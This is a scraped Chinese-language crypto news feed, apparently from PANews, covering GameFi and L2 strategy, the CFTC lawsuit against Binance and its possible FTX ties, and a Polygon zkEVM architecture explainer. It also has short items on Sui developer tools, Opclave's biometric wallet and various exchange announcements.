当前的游戏格局相当饱和，千篇一律地部署相同的赚钱、快速奖励游戏。迄今为止，还没有一款链上游戏与其用户建立起长久的关系。因此，即使是 Polygon (Alien Worlds) 和 BNB (Mobox Farmer) 上的顶级游戏应用程序，与传统的 PFP 交易相比，用户保留率也相对较低。此外，GameFi 的总活跃用户今年迄今下降了 50% 以上，新用户群体规模各下降了约 55%。 游戏领域在加密应用程序中相对独特，因为它只需要部署一个杀手级游戏即可吸引大量用户。虽然游戏通常可能需要更多时间来构建，但它们比其他应用程序更独立。它们不一定依赖与其他消费者应用程序相同的网络效应来采用，也不依赖于 DeFi 等其他应用程序的部署。从这个意义上说，第一个推出下一款大型游戏的低成本链可能会成功抢占行业。 在上一次 NFT 热潮中，Arbitrum 和 Optimism 还处于起步阶段，尚未在 GameFi 领域站稳脚跟。尽管他们的 gas 费用很低，用户群不断增长，并且有一些基本的 NFT 应用程序，但他们尚未在消费领域找到自己的利基。 在这两种情况下，每个网络使用最广泛的消费者应用程序之一是 Galxe 认证平台。它被用于相应的激励计划：Arbitrum 的 Odyssey 活动和 Optimism 的 Quests。在这两种情况下，用户都被激励参与每个生态系统中的应用程序，以换取 Galxe NFT 和可能的经济奖励。然而，在这些活动之外，该应用程序尚未在任一生态系统中找到自己的位置，这可能是由于缺乏跨应用程序实用程序。 另一方面，Polygon 已经能够通过与星巴克和 Reddit 等基于 Web2 的公司的合作来培育现代 Web3 社交生态系统。它还托管了一些使用最广泛的去中心化社交应用程序，例如 Lens。然而，这两个利基行业都没有找到大规模的牵引力，为另一条低成本链提供了拥有竞争优势的空间。 NFT 的用例已经扩展到包括新形式的链上物理和数字内容。社交媒体、链上身份、音乐和实物资产等领域的新兴用例在更大的加密生态系统中不断增长。因为构建一个强大的、尖端的 Web3 生态系统需要时间，如果一个新的生态系统被正确执行，它总体上不太可能被复制到其他链上。对于几乎所有低成本链而言，在这些领域之一中建立利基市场有可能成为采用和收费收入的主要驱动力。 大部分利润收入来自 DeFi 和消费者应用程序中的高频交易。对于上述 EVM 链，每个链似乎在短期（从最初进入后 1-2 个月）和长期（+9 个月后）能获得每个用户的最大价值。很简单，网络留住用户的时间越长，他们从费用中获得的收入就越高。请注意，基于费用的收入存在偏差，部分原因是过去 12 个月内原生代币价格变化太大。 对于大多数 EVM 链来说，大部分费用收入来自基于 DeFi 的应用程序，例如 DEX 和 衍生品平台。就 Optimism、BNB 和 Avalanche 而言，DeFi 的总费用收入与基于 NFT 的应用程序之间存在相当大的差异。 另一方面，以太坊基于消费者的应用程序的每位用户平均总费用更高。鉴于与其他链相比，基于以太坊的 NFT 市场处理的平均交易量接近 100 倍，这并不令人感到意外。虽然以太坊有广泛的应用，但它仍在高价值蓝筹 NFT 市场中发展了一个利基专长，这已成为其最强大的收入来源之一。 以太坊开创的「万事通」多领域精通不再是新兴生态系统的可行战略。在当今竞争激烈的环境中，在一个领域内建立利基市场的似乎是利润最高且用户保留率最高的策略。 随着越来越多的 L2 继续在主网上启动，观察它们的有机用户增长和吸引新用户的应用程序类型将变得重要。虽然几乎肯定会包含一个 DEX 和 NFT 市场，但 L2 之间的关键区别将是构建在它们之上的原生应用。这些应用需要具有足够的粘性以吸引新用户，并且需要足够全面以在它们选择的领域中开辟出一个新的利基市场。  ( 7 min )
    比特币开发者：某匿名实体或正在收集BTC用户的IP地址
    PANews 3月30日消息，据Cointelegraph报道，根据化名比特币应用程序开发人员“0xB10C”的博客文章，某未知实体可能正在收集比特币用户的IP地址，并将其链接到他们的BTC地址，从而侵犯了这些用户的隐私。 0xB10C将该实体称为LinkingLion，因为与其关联的IP地址通过LionLink网络的托管数据中心，但ARIN和RIPE注册信息显示该公司可能不是消息的发起者。0xB10C表示LinkingLion可能正在记录交易时间以确定哪个节点首先收到交易，然后可以使用这些信息来确定与特定比特币地址关联的IP地址。  ( 4 min )
    Terra联创Daniel Shin正出庭接受韩国法院对其逮捕令的审查
    PANews 3月30日消息，据韩媒财经新闻报道，韩国首尔南部地方法院于当地时间10:30开始对Terra联合创始人、Chai Corporation前首席执行官Daniel Shin进行逮捕令审查。 此前3月27日消息，韩国检方再次寻求逮捕Daniel Shin，并指控其违反《资本市场法》、违反《特定经济犯罪加重处罚法》、违反《电子金融交易法》、违反《特定金融信息法》、商业背信以及渎职。  ( 4 min )
    加密“无间道”，CFTC向币安发难背后或与FTX有染？
    3月27日，总部位于华盛顿的美国商品期货交易委员会 (CFTC) 宣布起诉加密交易所币安（Binance）及其CEO兼创始人CZ，该机构表示至少从2021年起就开始持续调查币安，币安存在在美国市场非法经营的行为并违反了旨在防止违法金融活动的规定，还通过未公开的特殊手段获取了内部的聊天记录。随后，币安回应称该起诉似乎包含不完整的事实陈述，不同意起诉书中指控的许多问题的定性，呼吁社区“忽略FUD消息、假新闻、恶意攻击等”。 与此同时，美国公布针对FTX创始人SBF的13项新起诉书显示，在FTX去年11月倒闭之前，SBF曾向美国政客提供了数千万美元的竞选捐款，美国国会三分之一的现任议员接受了SBF的资助。而FTX也在2021年开始聘用了多位前CFTC官员。 众所周知，FTX在美国的政治影响力远高于币安。本文从梳理回顾币安与FTX“闹崩”、SBF与CFTC建立政治关系和币安被CFTC调查的时间线来看都过于“巧合”，有业内人士推测，此次CFTC对币安的监管行动或与SBF及FTX有着一定联系。 SBF不仅是美国加密监管政策的游说者，借助华盛顿的监管政治博弈，还建立起强大的政治力量。此前PANews也曾发文披露了SBF与美国监管层关系匪浅，除了与现任美SEC主席、原CFTC主席Gary Gensler关系匪浅，后者在2009年至2014年初任职期间的不少旧部均入职了FTX.US，而这些高官的入职时间也非常微妙。 时间回到2019年12月，彼时币安宣布对FTX进行战略投资，同时帮助后者生态持续发展，使其保持与币安生态的发展并驾齐驱，使得后者估值在启动半年时间内就达到10亿美元。但经过两年多时间的高速发展，FTX的知名度与币安已是旗鼓相当，且业务产生了直接竞争。2021年7月，FTX宣布以180亿美元估值完成了9亿美元B轮融资时，币安透露其已从FTX的股权投资中完全退出。 据路透社报道称，FTX曾于2021年5月在直布罗陀为子公司申请许可证时，需要提交有关其主要股东的信息，FTX的律师和顾问至少写信给币安20次，但币安对此请求置之不理，这也被外界认为是两者“分手”的直接原因。 而在与币安“分道扬镳”后的这一年，SBF与CFTC的官员建立起千丝万缕的联系，扩大自身的政治影响力。2021年8月，FTX聘请前CFTC主席Ryne Miller为该交易所总法律顾问，后者曾在2012年到2013年期间担任Gary的法律顾问。任职期间，Ryne Miller还曾帮助安排SBF与前CFTC专员Dan Berkovitz、Mark Wetjen等人会面并共进晚餐，其中Dan Berkovitz为SEC总法律顾问。 2021年11月，FTX聘请Mark Wetjen担任政策和监管战略负责人、FTX子公司LedgerX（在CFTC注册的衍生品交易平台）现任董事，此人是前美国总统奥巴马提名的CFTC专员，并在前 CFTC主席Gary Gensler离职后被选举为代理主席，两人共事过一段时间。 值得一提的是，借助Mark Wetjen的关系，美国联邦存款保险公司（FDIC）主席Martin J. Gruenberg还于2022年6月会见了SBF，这距离FTX申请破产仅相隔5个月。据《华盛顿观察报》分享的几封电子邮件显示，SBF曾试图通过Gruenberg说服FDIC接受对加密友好的监管规定，并在向后者发送的邮件中声称，“我们向CFTC提交了一份申请，为CFTC规划了如何做到它。CFTC所要做的就是批准它。一旦CFTC这样做了，其它交易所也将效仿，美国其它主要交易所也可拥有CFTC的牌照。”不仅如此，Mark Wetjen还曾邀请现任CFTC主席Rostin Behnam及旗下参谋长David Gillers召开讨论FXT旗下衍生品平台LedgerX的紧急会议，Behnam本人也承认与SBF曾多次会面。 SBF邀请FDIC主席Martin Gruenberg会面邮件 来源：华盛顿观察报 此外，FTX董事会成员Jill Sommers也是前CFTC专员，被前总统奥巴马提名，任职两届，同样与Gary Gensler一同共事过；曾担任监督CFTC的众议院委员会主席Mike Conaway同样也被FTX聘请过帮助向立法者介绍FTX的情况。 而由SBF等人推动的《数字商品消费者保护法》则赋予了CFTC对加密领域的更多监管权力，且负责起草的民主党参议员Debbie Stabenow正是Behnam的前雇主，Behnam本人也曾呼吁应增加该机构在数字资产和商品领域的现货市场的治理能力，监管的对象包括交易平台、中介机构或经纪自营商等，且需要更多资源来扩大监管能力。不仅如此，FTX之前还曾寻求CFTC批准直接为客户清算保证金交易，尽管部分联邦监管机构提出警告，但Behnam在公开评论中对此想法给予了高度赞赏。 非营利组织Better Markets总裁Dennis Kelleher曾就CFTC与FTX之间的邮件往来表示，“CFTC有一个开放的政策，基本上只要FTX想沟通就能达成。显然FTX 聘请前CFTC官员的目的是接触和影响CFTC。” 除了有了CFTC这个“靠山”，FTX还向华盛顿特区的多名议员和各个政治派别提供了高达9300万美元的政治捐款，这也使得SBF成为华盛顿政界的常客，不仅在采访中声称“自己基本上每隔几周就会去华盛顿，与监管者和政策制定者交谈”，还发文暗讽CZ不能自由进出华盛顿，甚至曾在华盛顿的非公开会议上批评CZ。 对于SBF在华盛顿的加密影响力，芝加哥商品交易所（CME Group Inc.）首席执行官Terry Duffy曾如此描绘称，“整个华盛顿‘似乎都被SBF的创新承诺迷住了’，我去国会已经25年了，我从来没有见过像那次那样的华盛顿特区，从监管机构到国会议员，唱着我以前从未听过的赞美诗。” CFTC宣布已向美国伊利诺伊州北区联邦法院提起民事诉讼，指控赵长鹏和运营币安平台的三个实体多次违反《商品交易法》(CEA) 和CFTC规定，并指控币安前首席合规官Samuel Lim协助和教唆币安违规。 CFTC表示，币安没有正确注册，从而逃避了义务。至少从2021年开始CFTC就一直在调查币安是否未能阻止美国居民买卖加密货币衍生品。CFTC规则通常要求平台在允许美国人交易这些产品时向该机构注册。不仅如此，CFTC主席Rostin Behnam还表示，币安案是持续的欺诈行为，将在法庭上就此案积极辩论，CFTC将继续动用其权力发现和制止在动荡和高风险的数字资产市场中的不当行为。 也就是说，CFTC从2021年就开始持续调查币安。不过，币安对CFTC的指控予以否认，并表示其已通过国籍、IP地址、移动运营商、设备指纹、银行存取款、区块链存取款和信用卡银行标识代码等多种手段阻止美国客户，并已与CFTC合作了两年多的时间，未来仍会继续与美国和世界各地的监管机构合作。 尽管Behnam曾在FTX破产的首场国会听证会上表示，其机构无法阻止FTX的崩溃，因为它不在CFTC管辖范围内，但由于CFTC在FTX发展史上扮演的角色使得该机构备受质疑。Dennis Kelleher在一份报告中指出，“CFTC没有积极监管加密货币，也没有对其主张进行怀疑的审查，而是将大部分时间用于为该行业加油鼓劲，并试图扩大其管辖权，而不是担心投资者、客户和市场保护。” 值得一提的是，在FTX破产后无法再为美国政坛提供支援后，Binance.US选择在该时刻成立了自己的政治行动委员会，这代表接下来币安有整整两年的时间为2024年的联邦选举、总统大选做足准备，目前暂时还没有向美国政治行动委员会（PAC）捐款的计划。同时，由于从未在华盛顿特区开展业务，币安还与Binance.US使用相同的游说者Hogan Lovells律师事务所向美国立法者进行游说。 总而言之，随着FTX的暴雷，无论此前是否有意通过政治影响力推进对竞争对手的调查和打压，整个加密市场的监管收紧已成为事实，从此前SEC借着稳定币BUSD打压，到如今CFTC的发难，针对币安和加密市场的监管风暴或许才刚刚开始。  ( 4 min )
    行情：比特币突破29000美元，24小时涨幅达6.42%
    PANews 3月30日消息，行情显示，比特币突破29000美元，最高涨至29,184.68美元，现报29127.01美元，24小时涨幅达6.42%。  ( 4 min )
    Paxful CEO：将向在Celsius Earn中损失资金的Paxful用户进行退款
    PANews 3月30日消息，比特币P2P市场Paxful首席执行官兼联合创始人Ray Youssef在推特上表示，其承诺将向在Celsius Earn中损失资金的Paxful用户进行退款。本周晚些时候，用户的Celsius资金将可以在其Paxful钱包中使用。 Youssef解释称：“去年，Celsius宣布他们申请破产，因此，用户无法在Paxful Earn中获取资金。Paxful和其他许多人一样，因为我们无法取回Celsius持有的资金而无法行动。另一个打击是，法院裁定Celsius Earn账户属于Celsius的破产财产，而不是其用户。我们对这一事很不舒服，比特币是一种财富保值工具，对许多人来说，这是他们未来所依赖的钱。为了得到用户信任，我们采取了该行动。”  ( 4 min )
    赵长鹏：已冻结代币上线过程中内部人士关联地址的200万美元
    PANews 3月30日消息，加密货币研究员FatMan发推称，链上数据链上数据揭示了币安代币上线过程中有关的内部人士“老鼠仓”活动。币安首席执行官赵长鹏对此回应称：“已经冻结与相关地址相关的200万美元（他们从未要求重新申领），一直在与潜在的泄漏等作斗争。”  ( 4 min )
    zkEVM系列第一篇：Polygon zkEVM的整体架构和交易执行流程
    Author: 0xhhh, Ethstorage（Twitter:@hhh69251498 ） Editor:Red One 3月27日，Polygon zkEVM主网测试版本正式上线，Vitalik 在上面完成了第一笔交易。 本文是Polygon zkEVM系列文章的第一篇，简要阐述了Polygon zkEVM的整体架构和交易执行流程，并且分析了Polygon zkEVM是如何实现计算扩容并同时继承以太坊的安全性的。 同时还会在接下来两篇文章里详细介绍Polygon zkEVM的zkEVM Bridge和zkEVM的设计细节，以及Polygon zkEVM接下来的去中心化Sequencer的路线图。 首先，我们需要明确Rollup的大概工作原理。Rollup的出现是为了给Ethereum实现计算扩容，具体的实现方法是将交易的执行外包给Rollup，然后将交易和交易执行后的状态(State)存储在 Ethereum 的合约内，由于技术路线的不同演变出了两种类型的 Rollup： Optimistic Rollup 乐观的认为发送到 Ethereum 的 Rollup 交易(Rollup Transaction)和对应的 Rollup 状态(Rollup State )都是正确的，任何人都可以通过提供欺诈证明(Fraud Proof)对还处于挑战期的Rollup State进行挑战(Challenge)。 Zero-knowledge Rollup ZK会为发送到 Ethereum 的 Rollup交易和对应的 Rollup 状态提供一个有效性证明(由以太坊上的合约验证，来证明 Rollup 的执行对应交易后的状态是正确的)。 参考以太坊官方定义： https://ethereum.org/en/developers/docs/scaling/#rollups Zero-knowledge Rollup 和 Optimistic Rollup 最大的区别就是由于验证状态有效性的不同方式导致达成 Finality 的时间不同； Optimistic Rollup 乐观的认为提交到 Ethereum 上的交易和状态都是正确的，所以存在7天的挑战期（达成Finality的时间是7天），期间任何人发现在 Ethereum 上的交易对应状态不正确都可以通过提交正确的状态进行挑战。 Zero-knowledge Rollup( zk-Rollup ) 达成 Finality 的时间，则取决于：交易对应的有效性证明( Validity Proof )提交到以太坊并且验证通过所花费的时间。目前可能在1个小时左右的Finality居多(因为需要考虑到Gas成本问题)。 接下来我们以一个简单的交易被确认流程来看看 Polygon zkEVM是怎么工作的，从而对整体协议有一个具体的理解，它的整个过程可以主要分为三个步骤: 1. Sequencer 将多个用户交易打包成 Batch 提交到L1的合约上； 2. Prover 为每笔交易生成有效性证明(Validity Proof)，并将多个交易的有效性证明聚合成一个有效性证明； 3. Aggregator 提交聚合了多个交易的有效性证明(Validity Proof) 到 L1 的合约中。 1 Sequencer 将用户交易打包成 Batch 提交到 L1 合约上. 1) 用户将交易发送给Sequencer，Sequencer会在本地按照收到交易的快慢顺序进行处理(FRFS)，当Sequencer在本地将交易执行成功后，如果用户相信Sequencer是诚实的，那么他可以认为这个时候的交易已经达成了Finality。这里需要注意，目前大多数Sequencer内部的Mempool(交易池)都是私有的，所以暂时可以获取的MEV是比较少的。 2) Sequencer 会将多笔交易打包进一个Batch里(目前是一个Batch里只包含一个交易) 然后在收集到多个Batches之后, 通过L1上的 PolygonZKEvm.sol的SequenceBatch()函数将多个Batches一起送到L1的交易Calldata上。 (需要注意这里一次性提交多个Batches是为了尽可能减少L1的Gas消耗) 3) 当PolygonZkEvm.sol 收到 Sequencer 提供的 Batches 后，它会依次在合约内计算每个Batch的哈希，然后在后一个Batch里记录前一个Batch的哈希，于是我们就得到了下图的Batch结构。 4) 每个Batch里的交易顺序也是确定的，所以当Batch的顺序确定之后，我们认为所有被包含在Batch提交到L1的 Polygon zkEVM合约的交易的顺序都被确定了。 以上实际过程也是L1充当Rollup DA层需要完成的工作(这个时候并没有完成任何状态检验或推进的工作)。 2. Aggregator 为多个Batch的交易生成 Validity Proof 1) 当Aggregator监听到L1的 PolyonZKEVM.sol 合约中已经有新的 Batch 被成功的提交之后，它会把这些 Batch 同步到自己的节点里，然后给 zkProver 发送这些交易。 2) zkProver 接收到这些交易之后会并行为每笔交易生成 Validity Proof，再将多个Batch包含的交易的 Validity Proof再聚合成一个有效性证明(Validity Proof)。 3) zkProver 将聚合多个交易的Validity Proof发送给 Aggregator。 3. Aggregator 提交聚合证明到 L1 的合约 Aggregator 会将这个有效性证明(Validity Proof)以及对应的这些 Batch 执行后的状态一起提交到 L1 的Polygon zkEvm.sol 合约内，通过调用以下方法： 合约内接下来会执行以下操作来验证状态转换是否正确。 当这一步在L1合约内执行成功时，这部分batch包含的所有交易也就真正达成了Finality（对应OP的7天挑战期结束）。 上文我们已经了解了Polygon zkEVM的整体流程, 可以回顾下Ethereum 为 Rollup 做了哪些工作: 第一步，Sequencer 将 Rollup 的交易收集起来打包成 Batch 之后，提交到L1的合约中。L1不仅仅提供了DA层的功能，实际上还完成了一部分交易排序的功能；当你把交易提交到Sequencer时，交易是没有真正被定序的，因为Sequencer有权力可以随便改变交易的顺序，但是当交易被包含在Batch里提交到L1合约上之后，任何人都没有权利再修改其中的交易顺序。 第二步，Aggregator 将Validity Proof 提到L1合约上来达成新的状态,Aggregator则是类似Proposer的角色，合约则类似Validator的角色；Aggregator 提供了一个Validity Proof来证明一个新的状态是正确的，并告诉Validator我提供的Validity Proof涉及哪些交易Batch，他们都存在了L1的哪个位置。 接着Validator从合约中提取对应的Batch，与Validity Proof结合在一起就可以验证状态转换的合法性了，如果验证成功实际上合约内也会更新到对应Validity Proof的新状态。 四、从模块化的角度结构 Smart Contract Rollup 如果从模块化的角度来看，Polygon zkEVM 属于Smart Contract Rollup 类型，我们可以尝试解构下它的各个模块，从 Delphi 给的图中， 我们也可以看出实际上 Polygon ZkEVM 作为 Smart Contrat Rollup的Consensus Layer，DA Layer 和 Settlement Layer其实都是耦合在PolygonZkEVM.sol合约中，并不能很好的区分。但是我们尝试着去解构各个模块: 数据可用层(Data Availability Layer): Rollup交易存放的地方，对于Polygon-zkEVM来说，当Sequencer调用SequenceBatch()方法的时候，实际上就包含了往DA层提交交易数据。 结算层(Settlement Layer): 具体指的是Rollup和L1之间的资金流动机制，具体指的是Polygon-zkEVM的官方桥(在下一篇文章会有详细介绍)。 共识层(Consensus Layer): 包含交易排序和如何确定下一个合法状态(分叉选择)，Sequencer 调用L1合约中的SequenceBatch()的时候完成了交易排序的工作，当Aggregator调用L1合约中的TustedVerifyBatches()的时候完成了确认下一个合法状态的工作。 执行层(Execution Layer): 执行交易并且得到新的世界状态，当用户向Sequencer提交交易，并且Sequencer执行完之后得到新状态的过程(所以我们往往说Rollup是计算扩容，因为L1把执行交易得出新状态的这个过程外包给了Rollup，同时Sequencer会通过Aggregator委托zkProver帮忙生成Validity Proof。 五、为什么说 Polygon-zkEVM 继承了L1的安全性 从上面介绍的整体流程上看，实际上Sequencer做了类似以太坊 Proposer的工作，提议了一批交易是有效交易，并且给出了这批交易执行后的新状态；而L1合约的验证逻辑，相当于所有L1的Validator都会在自己的以太坊客户端里执行一遍，实际上是所有的以太坊验证者充当了Rollup的验证者，因此我们认为 Polygon zkEVM 继承了以太坊的安全性。 从另外一个角度上看，因为Rollup的所有交易以及状态都存储在以太坊上，所以即便Polygon zkEVM 这个团队跑路了，任何人都还是有能力依托以太坊上存储的数据，恢复整个Rollup网络。 Rollup激励机制主要指的是如何让Sequencer和Aggregator有利可图，从而保持持续性的工作的？ 首先用户需要支付自己在Rollup上的交易手续费，这部分的手续费是采用ETH计价的，用Bridged ETH支付。 Sequencer 则需要支付这些包含Rollup交易的Batch上传到L1交易的Calldata上的成本(调用SequenceBatch(batches()的成本)，同时需要在上传Batch的同时支付一定的Matic到L1合约中，用于之后支付Aggregator为这些Batches提供Validity Proof的成本。 Aggregator 在调用trusted VerifyBatches 为L1合约内还没有被Finality的Batches提供Validity Proof的同时，也可以取出Sequencer提前支付在合约内的MATIC代币，作为提供Validity Proof的报酬。 Sequencer的收入 = Rollup所有交易的Gas费用 - 将Batches上传到L1花费的L1网络Gas费用 - 支付给Aggregator的证明费用(MATIC计价)。 Aggregator的收入 = Sequencer支付的MATIC报酬 - 提交到Validity Proof到 L1的Gas费用 - Validity Proof生成花费的硬件费用。 调整支付给Aggregator的证明费用，同时为了避免Sequencer因为无利可图罢工，提供了以下的机制来调整Sequencer支付给Aggregator 的证明费用。 合约中存在这样一个方法用来调整为Batch提供证明的费用: function _updateBatchFee(uint64 newLastVerifiedBatch) internal 它会更改合约中一个名为BatchFee的变量，而这个变量决定了Sequencer为每个Batch支付的MATIC代币数量。 更改机制如下: 合约中维护了这样一个变量VeryBatchTimeTarget ，代表每个Batch被Sequencer提交到L1之后期望在这个时间内被验证状态。 合约内会记录所有超过了VeryBatchTimeTarget之后还没有被验证状态的Batches, 并且将这些Batches的总数量记为DiffBatches。 于是当有Batches迟到的时候，会用以下公式来调整BatchFee: MultiplierBatchFee 是一个被限制在1000~1024范围的数，可以通过函数setMultiplierBatchFee() 由合约管理员更改： FunctionsetMultiplier BatchFee(uint16newMultiplierBatchFee) public onlyAdmin 需要注意这里的 采用MultiplierBatchFee 和10^3是为了实现3个小数点后的调整精度。 同理假如Batches提前了也会触发相应的batchFee调整机制:DiffBatches 表示提前验证状态的Batches的数量。 在这篇文章里我们梳理了Polygon zkEVM的核心机制，并分析了它实现以太坊计算扩容的可行性。有了一个整体的大纲后，在接下来的文章里我们会深入到协议内部，依次解析zkEVM Bridge的设计细节以及Sequencer的去中心化路线，zkProver的实现以及zkEVM的设计原理。 ——待续——  ( 6 min )
    OKX：将把FTX和Alameda相关的1.57亿美元冻结资产移交给债权人
    PANews 3月30日消息，据美通社报道，欧易OKX宣布将向债权人移交约1.57亿美元的与FTX和Alameda相关的冻结资产，以回应今天在FTX破产程序中提交的动议。OKX表示，在2022年11月FTX崩盘前后，OKX根据执法机关要求，发起调查并发现了与FTX和Alameda Research相关的资产和账户，随即采取行动冻结了这些账户和资产。 此外，OKX表示，将继续与FTX债权人和执法人员合作，希望这些资产最终能通过破产程序返还给FTX用户。  ( 4 min )
    Coinbase首席法务官：尽管美国监管存在问题，但公司不会离开美国市场
    PANews 3月30日消息，据CoinDesk报道， Coinbase首席法务官Paul Grewal在采访时谈到了美国商品期货交易委员会(CFTC)对币安的诉讼。Grewal称：“CFTC已经付出了巨大努力来了解币安发生了什么，并在发现问题时采取行动。有很多问题需要解决。无论是CFTC还是SEC对数字资产拥有管辖权，只会给试图在美国运营的加密行业增加更多的困惑。这种情况突显出监管机构似乎无法就加密货币的监管框架达成一致。我们需要合理的规则来合理地定义这些术语，并为加密经济中的每个人，包括投资者和消费者，提供确定性和清晰度来做出决定。”Grewal表示，CFTC的指控最引人注目的地方在于，它“特别指出了一些数字资产是大宗商品”，且这些资产正被SEC和其他机构“贴上或暗示为证券”。 此外，Grewal称，“我们是一家美国公司”，总部位于加州，在特拉华州注册，在纽约获得比特币许可证，“我们哪儿也不去”，这与没有母国的币安的情况不同。  ( 4 min )
    Sui开发教学：如何在SUI上为角色扮演游戏创建角色和道具？
    原文：《RPG Building Basics - Encode Club Sui Series #5》by SUI Foundation 编译：SUI World Sui Foundation 与 Encode Club 合作提供了系列以开发者为中心的教育视频，本系列视频共计六则，范围从 Sui 的基础知识到构建智能合约和使用 Sui Move 中的对象的教程。往期视频参照SUI World 推文。 本教程将给我们展示如何为角色扮演游戏 (RPG) 创建角色和道具，以及如何让它们互动，千万不要错过！详情点击「阅读原文」查看视频。 学习亮点 由于 Sui Move 的以对象为中心的编程模型及其可扩展性，Sui 有望成为第一个真正将 web2 体验交付到 web3 的区块链，这种体验包括游戏，游戏的编程本质上都很复杂，并且需要强大的基础设施来确保玩家的无缝体验。得益于Sui Move 的以对象为中心的编程模型及其可扩展性，Sui 能够应对挑战。 让我们看一下 Sui Move 中链上 RPG 的编码示例。以下示例改编自 Sam Blackshear 的 hero.move 代码。 https://github.com/MystenLabs/sui/blob/main/sui_programmability/examples/games/sources/hero.move?ref=blog.suifoundation.org 上面的代码定义了我们的可玩角色。从它的领域可以看出，这个英雄可以与角色扮演游戏中的其他角色相媲美，它具有生命值 (HP)、经验和库存。 上面的代码展示了我们英雄的剑，请注意，这把剑具有钥匙和存储能力。回顾一下本系列之前的课程，key 意味着它是一种可拥有的资产，可以存在于顶级存储中。此类别中的 Move 对象也可以从外部 API 访问，从而创造了 Sui 在多个游戏中使用项目的独特可能性。而存储意味着这个对象是可以自由包装和转移的。 上面，我们在游戏中定义了野猪、不可玩角色 (NPC) 或敌人，与该类型的其他游戏类似，我们可以为我们的英雄创建 NPC 来战斗和获得经验，或者购买物品和接受任务。 The Action 上面代码中显示的动作描述了slay函数。在高层次上，这个函数首先检查以确保Hero和Boar都属于同一个游戏实例。然后英雄和野猪之间的决斗发生，检查以确保英雄的HP不能达到零。决斗结束后，英雄获得与野猪成比例的经验值，英雄的剑的力量增加1(如果英雄使用剑)。最后，该函数发出一个事件BoarSlayEvent。Sui Move中的事件让索引器跟踪链上的动作，这是实现普遍认可的对象状态的重要手段。 上面的代码示例简要摘录了 Sam 的 hero.move 代码。此代码为 Sui 上的游戏开发者提供了宝贵的示例，并且由于它是开源的，请随时 Fork 并构建您自己的游戏！  ( 4 min )
    Binance.US发言人称预计在24小时内恢复ACH存取款服务
    PANews 3月30日消息，据The Information报道，Binance.US发言人表示，Binance.US预计将在24小时内恢复Signature Bank的自动清算中心（ACH）存取款服务。根据Binance.US状态页面信息，Binance.US从3月23日报告Signature Bridge Bank的ACH存取款暂时无法使用，此状态目前尚未更新。 此前消息，美国联邦存款保险公司(FDIC)已要求Signature Bank的加密货币客户在下周之前取款。  ( 4 min )
    Magic Eden将于4月6日推出测试版以太坊NFT市场ETH Genesis
    PANews 3月30日消息，据官方博客，NFT市场Magic Eden宣布将于4月6日推出其测试版以太坊NFT市场ETH Genesis。这也意味着，继Solana、Polygon、Bitcoin之后，以太坊成为了Magic Eden所覆盖的第四个生态。  ( 4 min )
    公链Sui推出永久测试网，可在主网启动后继续运行
    PANews 3月30日消息，据官方博客，公链项目Sui Network宣布推出永久测试网，这是一个长期运行、去中心化和无需许可的测试网，与过去的Waves 1和Waves 2测试网不同，这个新的测试网即使在主网启动后也会继续运行。 该测试网有多个功能更新：1.动态验证者集：满足足够权益要求的候选验证者可以在epoch边界加入网络，活跃验证者可以在epoch边界离开网络。2.支持协议软件和Sui框架升级：测试网不会在每次软件更新时被删除，在任何计划中的软件更新或测试网上的数据删除之前，社区将得到适当的通知。3.可从数据库快照恢复全节点：节点操作人员可以利用检查点快速启动全节点，而不是等待全节点同步。4.地址和签名更新账户地址、对象ID和交易ID已从20字节升级到32字节，以防止哈希冲突；此外，Sui的默认哈希函数现在是Blake2b而不是SHA3，因为它的性能要高得多；为了支持广泛的交易规模，签名现在应用于哈希摘要而不是序列化的BCS数据，这使得Sui能够与硬件钱包兼容，硬件钱包的签名者api通常允许有限大小的输入。 此前3月22日消息，Sui Network表示，主网将于第二季度推出，尚无正式的空投计划。 相关阅读：Sui Network发布的永久测试网，在生态中扮演什么角色？  ( 4 min )
    ERC-4337加上OP Stack，Opclave如何让Apple设备秒变硬件钱包？
    原文：《新项目 | Opclave：将Apple设备变成硬件钱包》 作者：十文 对于刚进入 Web3 领域的用户来说，创建钱包或许是他们遇到的第一层障碍。传统的 12 位助记词对于新人用户来说过于繁琐和危险，作为备份和恢复功能也过于复杂，可说是毫无用户体验优势。目前，无私钥以及无助记词被认为是将来 Web3 钱包的主流趋势，但这背后需要更为安全的开发技术，这也是该领域面临的主要挑战之一。 近期，一个入围 ETHGlobal 黑客松的项目 Opclave 引起了我们的注意。它允许用户通过 Apple 的 Face-ID 和 Touch-ID 在 OP Stack Rollup 上发起交易。 Opclave 由伊斯坦布尔大学 İTÜ Blockchain 俱乐部团队开发，开发者共 5 人，其中之一为 0xDogan.eth，是 Connext Network 的贡献者之一。该团队创建了一个智能合约钱包，该智能合约钱包允许用户创建并使用 Apple Face-ID 与 Touch-ID 的非托管钱包，而无需助记词。其核心理念是将 Apple 设备、iPhone、Macbook 变成硬件钱包，从可信执行环境 Apple Secure Enclave 中发起交易，以确保安全。这种具有生物识别功能的钱包不仅简化了使用钱包的流程，还将 Web2 的交易体验迁移至 Web3，能够提高用户重复使用的次数，并吸引更多的忠实用户。 技术上，Opclave 通过三个解决方案来实现生物识别功能： 1.OP Stack OP Stack 是一套标准化的开源模块，可以组装成一个定制的链——Optimism 称之为「OP 链」-- 以服务于任何特定的区块链用例。OP Stack 对应用链开发人员来说最重要的好处之一是可以简单地配置汇总，以及无需加密经济安全性即可扩展特定于应用程序链的可用性。 使用 OP Stack ，Opclave 可以将 Apple 签名实施到区块链上，让 Apple 设备变成硬件钱包。 2.帐户抽象 Opclave 具有与 ERC-4337 帐户抽象标准兼容的智能合约钱包的优势，可以为用户提供简化使用帐户的能力。例如： 3.Apple Secure Enclave 新一代 Apple 设备具有称为“Secure Enclave”的硬件安全组件，能够存储密钥或签名数据。Apple Secure Enclave 是在 Apple 的芯片系统中实施的子系统，与主处理器隔离，为用户的重要数据创建隔离的安全区域，其主要用例是即使主处理器受到威胁也能保留用户数据。使用 Apple Secure Enclave 的签名机制，可以直接对交易进行签名。然后通过 Face-Id 或 Touch-Id 的安全步骤，在区块链和智能合约中验证这些签名。以实现使用 Face-Id 或 Touch-Id 来发起交易的功能。 未来，Opclave 希望实现更多帐户抽象功能，例如 2FA、电子邮件登录等。此外，Opclave 还会在未来支持更多其他的链，例如 Starknet、zkSync 和 Fuel。  ( 5 min )

  • Open

    观点：代币化 RWA 可能是 DeFi 的下一个引擎
